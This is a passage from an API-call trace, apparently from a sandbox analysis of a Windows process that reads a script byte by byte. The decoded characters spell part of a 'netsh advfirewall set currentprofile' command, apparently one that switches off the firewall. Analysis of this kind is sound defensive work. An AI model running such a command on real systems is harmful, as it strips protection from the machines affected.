nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.835] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c36, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0127.835] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.835] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.835] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.835] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c38, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0127.835] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.835] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.835] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.835] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0127.835] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.835] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.835] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.835] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0127.835] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.835] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.835] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.835] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3e, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0127.835] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.835] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.835] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.835] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c40, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0127.835] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.836] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.836] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.836] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c42, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0127.836] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.836] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.836] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.836] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c44, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0127.836] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.836] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.836] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.836] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c46, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0127.836] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.836] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.836] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.836] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0127.836] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.836] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.836] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.836] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0127.836] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.836] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.836] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.836] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0127.836] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.836] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.836] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.836] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0127.836] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.836] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.837] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.837] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c50, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0127.837] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.837] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.837] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.837] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c52, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0127.837] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.837] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.837] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.837] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c54, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0127.837] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.837] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.837] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.837] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c56, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0127.837] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.837] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.837] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.837] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c58, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0127.837] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.837] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.837] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.837] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0127.837] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.837] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.837] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.837] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0127.837] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.837] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.837] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.837] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0127.837] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.837] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.838] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.838] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c60, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0127.838] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.838] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.838] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.838] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c62, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0127.838] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.838] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.838] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.838] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c64, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0127.838] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.838] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.838] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.838] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c66, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0127.838] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.838] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.838] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.838] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c68, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0127.838] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.838] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.838] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.838] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6a, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0127.838] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.838] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.838] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.838] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0127.838] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.839] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.839] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.839] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6e, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0127.839] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.839] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.839] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.839] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c70, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0127.839] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.839] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.839] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.839] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c72, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0127.839] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.839] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.839] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.839] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c74, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0127.839] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.839] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.839] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.839] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c76, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0127.839] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.839] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.839] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.839] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c78, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0127.839] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.839] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.839] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.839] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c7a, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0127.839] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.839] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.840] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.840] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c7c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0127.840] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.840] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.840] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.840] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c7e, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0127.840] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.840] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 